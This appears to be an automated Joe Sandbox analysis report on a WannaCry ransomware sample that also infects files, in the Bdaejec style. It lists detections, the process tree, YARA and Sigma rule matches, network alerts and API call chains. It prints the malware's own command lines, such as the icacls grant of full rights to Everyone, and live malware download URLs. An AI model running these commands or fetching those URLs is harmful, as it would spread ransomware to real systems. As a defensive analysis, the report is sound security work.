Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe

Overview

General Information

Sample name:ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe
Analysis ID:1482655
MD5:47ca2af9d739bf1a16d8480fd875e782
SHA1:c2e60a77a411e93a86813a678315e65c1a4727e3
SHA256:5064c5a2e7ead815daffd1dc3126ce6286240404f4416ce5f4f5550fa3c3a820
Tags:exeWormRamnit
Infos:

Detection

Wannacry, Bdaejec
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected Wannacry Ransomware
Detected unpacking (changes PE section rights)
Malicious sample detected (through community Yara rule)
Yara detected Bdaejec
Yara detected Wannacry ransomware
AI detected suspicious sample
Command shell drops VBS files
Contains functionality to detect sleep reduction / modifications
Contains functionalty to change the wallpaper
Creates files in the recycle bin to hide itself
Deletes shadow drive data (may be related to ransomware)
Drops PE files to the document folder of the user
Found Tor onion address
Found stalling execution ending in API Sleep call
Infects executable files (exe, dll, sys, html)
Machine Learning detection for dropped file
Machine Learning detection for sample
Modifies existing user documents (likely ransomware behavior)
PE file contains section with special chars
PE file has a writeable .text section
Query firmware table information (likely to detect VMs)
Uses known network protocols on non-standard ports
Writes many files with high entropy
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Contains functionality to dynamically determine API calls
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found evaded block containing many API calls
Found evasive API chain (date check)
IP address seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries disk information (often used to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Startup Folder File Write
Sigma detected: Uncommon Svchost Parent Process
Sigma detected: Use Short Name Path in Command Line
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Uses 32bit PE files
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses cacls to modify the permissions of files
Uses code obfuscation techniques (call, push, ret)
Uses the system / local time for branch decision (may execute only at specific dates)
Yara signature match

Classification

Process Tree

  • System is w10x64
  • ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe (PID: 4548 cmdline: "C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe" MD5: 47CA2AF9D739BF1A16D8480FD875E782)
    • dllhost.exe (PID: 4256 cmdline: C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5} MD5: 08EB78E5BE019DF044C26B14703BD1FA)
    • wBQInv.exe (PID: 6768 cmdline: C:\Users\user~1\AppData\Local\Temp\wBQInv.exe MD5: F7D21DE5C4E81341ECCD280C11DDCC9A)
      • WerFault.exe (PID: 3024 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 6768 -s 916 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • dllhost.exe (PID: 5464 cmdline: C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683} MD5: 08EB78E5BE019DF044C26B14703BD1FA)
    • svchost.exe (PID: 5340 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -p MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • attrib.exe (PID: 6976 cmdline: attrib +h . MD5: 0E938DD280E83B1596EC6AA48729C2B0)
      • conhost.exe (PID: 6708 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • icacls.exe (PID: 484 cmdline: icacls . /grant Everyone:F /T /C /Q MD5: 2E49585E4E08565F52090B144062F97E)
      • conhost.exe (PID: 2960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • taskdl.exe (PID: 4100 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5436 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • cmd.exe (PID: 7068 cmdline: C:\Windows\system32\cmd.exe /c 36751721951490.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 1432 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cscript.exe (PID: 644 cmdline: cscript.exe //nologo m.vbs MD5: CB601B41D4C8074BE8A84AED564A94DC)
    • taskdl.exe (PID: 1424 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4092 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6608 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5888 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5932 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4948 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 7140 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2312 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1352 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 6808 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1004 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 4948 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 1260 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • svchost.exe (PID: 5808 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
      • WerFault.exe (PID: 6976 cmdline: C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 6768 -ip 6768 MD5: C31336C1EFC2CCB44B4326EA793040F2)
    • taskdl.exe (PID: 3180 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 5328 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 3452 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • svchost.exe (PID: 1004 cmdline: C:\Windows\System32\svchost.exe -k wsappx -p -s ClipSVC MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
    • taskdl.exe (PID: 3020 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
    • taskdl.exe (PID: 2044 cmdline: taskdl.exe MD5: 4FEF5E34143E646DBF9907C4374276F5)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
WannaCryptor, WannaCry, WannaCrypt
  • Lazarus Group
https://malpedia.caad.fkie.fraunhofer.de/details/win.wannacryptor

Malware Configuration

⊘No configs have been found

Yara Signatures

Initial Sample

SourceRuleDescriptionAuthorStrings
ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
    ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
    • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
    • 0x342d41:$x2: taskdl.exe
    • 0x35962d:$x2: taskdl.exe
    • 0xf4d8:$x3: tasksche.exe
    • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
    • 0xf52c:$x5: WNcry@2ol7
    • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
    • 0x359d91:$s2: Windows 10 -->
    • 0xf42c:$s3: cmd.exe /c "%s"
    • 0x41980:$s4: msg/m_portuguese.wnry
    • 0x3591ff:$s4: msg/m_portuguese.wnry
    • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
    • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
    • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
    ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exewanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0xf4d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0xf500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\@Please_Read_Me@.txtWannaCry_RansomNoteDetects WannaCry Ransomware NoteFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    C:\Users\user\Desktop\36751721951490.batWannCry_BATDetects WannaCry Ransomware BATCH FileFlorian Roth
    • 0x2c0:$s1: A: Don't worry about decryption.
    • 0x0:$s2: Q: What's wrong with my files?
    Click to see the 40 entries

    Memory Dumps

    SourceRuleDescriptionAuthorStrings
    00000000.00000000.1256386714.000000000040E000.00000008.00000001.01000000.00000003.sdmpwanna_cry_ransomware_genericdetects wannacry ransomware on disk and in virtual pageus-cert code analysis team
    • 0x14d8:$s11: 74 61 73 6B 73 63 68 65 2E 65 78 65 00 00 00 00 54 61 73 6B 53 74 61 72 74 00 00 00 74 2E 77 6E 72 79 00 00 69 63 61 63
    • 0x1500:$s12: 6C 73 20 2E 20 2F 67 72 61 6E 74 20 45 76 65 72 79 6F 6E 65 3A 46 20 2F 54 20 2F 43 20 2F 51 00 61 74 74 72 69 62 20 2B 68
    00000000.00000003.2291348728.0000000000963000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
      00000000.00000003.1316026746.000000000090E000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
        00000000.00000003.1798063418.0000000000960000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
          00000000.00000003.1797315090.0000000000960000.00000004.00000020.00020000.00000000.sdmpJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
            Click to see the 3 entries

            Unpacked PEs

            SourceRuleDescriptionAuthorStrings
            0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.8e9bb8.1.unpackWanaCryWanaCry Payloadkevoreilly
            • 0xd5c4:$exename: @WanaDecryptor@.exe
            • 0xd60c:$exename: @WanaDecryptor@.exe
            • 0xd8c0:$res: %08X.res
            • 0xd8b4:$pky: %08X.pky
            • 0xd8a8:$eky: %08X.eky
            • 0x5ba9:$taskstart: 8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53
            0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.8e9bb8.1.raw.unpackWanaCryWanaCry Payloadkevoreilly
            • 0xd5c4:$exename: @WanaDecryptor@.exe
            • 0xd60c:$exename: @WanaDecryptor@.exe
            • 0xd8c0:$res: %08X.res
            • 0xd8b4:$pky: %08X.pky
            • 0xd8a8:$eky: %08X.eky
            • 0x5ba9:$taskstart: 8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53
            0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.10000000.2.unpackWanaCryWanaCry Payloadkevoreilly
            • 0xd5c4:$exename: @WanaDecryptor@.exe
            • 0xd60c:$exename: @WanaDecryptor@.exe
            • 0xd8c0:$res: %08X.res
            • 0xd8b4:$pky: %08X.pky
            • 0xd8a8:$eky: %08X.eky
            • 0x5ba9:$taskstart: 8B 35 58 71 00 10 53 68 C0 D8 00 10 68 F0 DC 00 10 FF D6 83 C4 0C 53 68 B4 D8 00 10 68 24 DD 00 10 FF D6 83 C4 0C 53 68 A8 D8 00 10 68 58 DD 00 10 FF D6 53
            0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpackJoeSecurity_WannacryYara detected Wannacry ransomwareJoe Security
              0.2.ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe.400000.0.unpackWannaCry_RansomwareDetects WannaCry RansomwareFlorian Roth (with the help of binar.ly)
              • 0xf4fc:$x1: icacls . /grant Everyone:F /T /C /Q
              • 0x342d41:$x2: taskdl.exe
              • 0x35962d:$x2: taskdl.exe
              • 0xf4d8:$x3: tasksche.exe
              • 0xf4b4:$x4: Global\MsWinZonesCacheCounterMutexA
              • 0xf52c:$x5: WNcry@2ol7
              • 0xf4fc:$x9: icacls . /grant Everyone:F /T /C /Q
              • 0x359d91:$s2: Windows 10 -->
              • 0xf42c:$s3: cmd.exe /c "%s"
              • 0x41980:$s4: msg/m_portuguese.wnry
              • 0x3591ff:$s4: msg/m_portuguese.wnry
              • 0x2a02:$op4: 09 FF 76 30 50 FF 56 2C 59 59 47 3B 7E 0C 7C
              • 0x26dc:$op5: C1 EA 1D C1 EE 1E 83 E2 01 83 E6 01 8D 14 56
              • 0x22c8:$op6: 8D 48 FF F7 D1 8D 44 10 FF 23 F1 23 C1
              Click to see the 4 entries

              Sigma Signatures

              System Summary

              barindex
              Sigma detected: Startup Folder File Write
              Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, ProcessId: 4548, TargetFilename: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\StartUp\~SD492B.tmp
              Sigma detected: Uncommon Svchost Parent Process
              Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe", ParentImage: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, ParentProcessId: 4548, ParentProcessName: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 5340, ProcessName: svchost.exe
              Sigma detected: Use Short Name Path in Command Line
              Source: Process startedAuthor: frack113, Nasreddine Bencherchali: Data: Command: C:\Users\user~1\AppData\Local\Temp\wBQInv.exe, CommandLine: C:\Users\user~1\AppData\Local\Temp\wBQInv.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\wBQInv.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\wBQInv.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\wBQInv.exe, ParentCommandLine: "C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe", ParentImage: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, ParentProcessId: 4548, ParentProcessName: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, ProcessCommandLine: C:\Users\user~1\AppData\Local\Temp\wBQInv.exe, ProcessId: 6768, ProcessName: wBQInv.exe
              Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
              Source: Process startedAuthor: Michael Haag: Data: Command: cscript.exe //nologo m.vbs, CommandLine: cscript.exe //nologo m.vbs, CommandLine|base64offset|contains: (, Image: C:\Windows\SysWOW64\cscript.exe, NewProcessName: C:\Windows\SysWOW64\cscript.exe, OriginalFileName: C:\Windows\SysWOW64\cscript.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c 36751721951490.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7068, ParentProcessName: cmd.exe, ProcessCommandLine: cscript.exe //nologo m.vbs, ProcessId: 644, ProcessName: cscript.exe
              Sigma detected: Windows Processes Suspicious Parent Directory
              Source: Process startedAuthor: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe", ParentImage: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, ParentProcessId: 4548, ParentProcessName: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -p, ProcessId: 5340, ProcessName: svchost.exe

              Snort Signatures

              ⊘No Snort rule has matched

              Suricata Signatures

              Timestamp:2024-07-26T01:51:24.855536+0200
              SID:2022930
              Source Port:443
              Destination Port:49719
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:2024-07-26T01:50:32.752778+0200
              SID:2807908
              Source Port:49700
              Destination Port:799
              Protocol:TCP
              Classtype:Malware Command and Control Activity Detected
              Timestamp:2024-07-26T01:50:46.300052+0200
              SID:2022930
              Source Port:443
              Destination Port:49705
              Protocol:TCP
              Classtype:A Network Trojan was detected
              Timestamp:2024-07-26T01:50:28.415174+0200
              SID:2838522
              Source Port:56636
              Destination Port:53
              Protocol:UDP
              Classtype:Malware Command and Control Activity Detected
              Timestamp:2024-07-26T01:50:28.954468+0200
              SID:2807908
              Source Port:49699
              Destination Port:799
              Protocol:TCP
              Classtype:Malware Command and Control Activity Detected
              Timestamp:2024-07-26T01:50:36.345422+0200
              SID:2807908
              Source Port:49701
              Destination Port:799
              Protocol:TCP
              Classtype:Malware Command and Control Activity Detected

              Joe Sandbox Signatures

              Click to jump to signature section

              Show All Signature Results

              AV Detection

              barindex
              Antivirus / Scanner detection for submitted sample
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeAvira: detected
              Antivirus detection for URL or domain
              Source: http://ddos.dnsnb8.net:799/cj//k3.rarURL Reputation: Label: malware
              Source: http://ddos.dnsnb8.net:799/cj//k2.rarURL Reputation: Label: malware
              Source: http://ddos.dnsnb8.net:799/cj//k1.rarURL Reputation: Label: malware
              Source: http://ddos.dnsnb8.net:799/cj//k3.rar-Avira URL Cloud: Label: malware
              Source: http://ddos.dnsnb8.net:799/cj//k3.rar_Avira URL Cloud: Label: malware
              Source: http://ddos.dnsnb8.net:799/cj//k1.rarEAvira URL Cloud: Label: phishing
              Source: http://ddos.dnsnb8.net:799/cj//k3.rarcC:Avira URL Cloud: Label: malware
              Source: http://ddos.dnsnb8.net:799/cj//k3.rar5Avira URL Cloud: Label: phishing
              Antivirus detection for dropped file
              Source: C:\@WanaDecryptor@.exeAvira: detection malicious, Label: TR/FileCoder.724645
              AI detected suspicious sample
              Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability
              Machine Learning detection for dropped file
              Source: C:\@WanaDecryptor@.exeJoe Sandbox ML: detected
              Machine Learning detection for sample
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeJoe Sandbox ML: detected
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_00401861 CryptImportKey,0_2_00401861
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_0040182C CryptAcquireContextA,0_2_0040182C
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_004019E1 EnterCriticalSection,CryptDecrypt,LeaveCriticalSection,LeaveCriticalSection,memcpy,0_2_004019E1
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_004018F9 CreateFileA,GetFileSize,GlobalAlloc,ReadFile,CryptImportKey,_local_unwind2,0_2_004018F9
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_004018B9 CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,0_2_004018B9
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10003F00 GetFileAttributesA,GetFileAttributesA,CreateFileA,GetFileSize,GlobalAlloc,ReadFile,GetFileAttributesA,CryptImportKey,_local_unwind2,_local_unwind2,0_2_10003F00
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10003C00 CryptDestroyKey,0_2_10003C00
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10004040 CryptExportKey,GlobalAlloc,CryptExportKey,_local_unwind2,CreateFileA,WriteFile,_local_unwind2,0_2_10004040
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10004350 CryptGenKey,0_2_10004350
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10004170 CryptExportKey,CryptGetKeyParam,GlobalAlloc,CryptEncrypt,GlobalFree,0_2_10004170
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10004370 EnterCriticalSection,CryptEncrypt,LeaveCriticalSection,LeaveCriticalSection,0_2_10004370
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10003A80 GetFileAttributesA,GetFileAttributesA,CryptAcquireContextA,0_2_10003A80
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10003BB0 GetFileAttributesA,CryptDestroyKey,CryptDestroyKey,CryptReleaseContext,0_2_10003BB0
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10003AC0 CryptImportKey,CryptImportKey,CryptDestroyKey,0_2_10003AC0
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10003D10 GetFileAttributesA,CryptEncrypt,_local_unwind2,CryptDecrypt,GetFileAttributesA,strncmp,_local_unwind2,0_2_10003D10
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10004420 CryptGenRandom,0_2_10004420
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10004440 CryptAcquireContextA,wcsrchr,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CryptAcquireContextA,CryptImportKey,CryptDestroyKey,CryptEncrypt,CryptDecrypt,0_2_10004440
              Source: ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

              Spreading

              barindex
              Infects executable files (exe, dll, sys, html)
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSystem file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSystem file written: C:\Program Files\7-Zip\Uninstall.exe
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeSystem file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10002300 CloseHandle,SHGetFolderPathW,??2@YAPAXI@Z,??_U@YAPAXI@Z,swprintf,FindFirstFileW,??3@YAXPAX@Z,??3@YAXPAX@Z,wcscmp,wcscmp,wcscmp,swprintf,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcslen,?assign@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@QAEAAV12@PBGI@Z,?_Tidy@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@AAEX_N@Z,wcscmp,wcscmp,wcscmp,wcsncpy,wcsncpy,wcsncpy,FindNextFileW,FindClose,_wcsnicmp,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,?_C@?1??_Nullstr@?$basic_string@GU?$char_traits@G@std@@V?$allocator@G@2@@std@@CAPBGXZ@4GB,??3@YAXPAX@Z,??3@YAXPAX@Z,??3@YAXPAX@Z,0_2_10002300
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeCode function: 0_2_10004A40 CloseHandle,SHGetFolderPathW,wcslen,SHGetFolderPathW,SHGetFolderPathW,wcslen,wcsrchr,wcschr,SHGetFolderPathW,wcslen,wcsrchr,swprintf,FindFirstFileW,wcscmp,wcscmp,swprintf,wcscmp,swprintf,FindNextFileW,FindClose,0_2_10004A40
              Source: C:\Users\user\AppData\Local\Temp\wBQInv.exeCode function: 2_2_004129E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose,2_2_004129E2
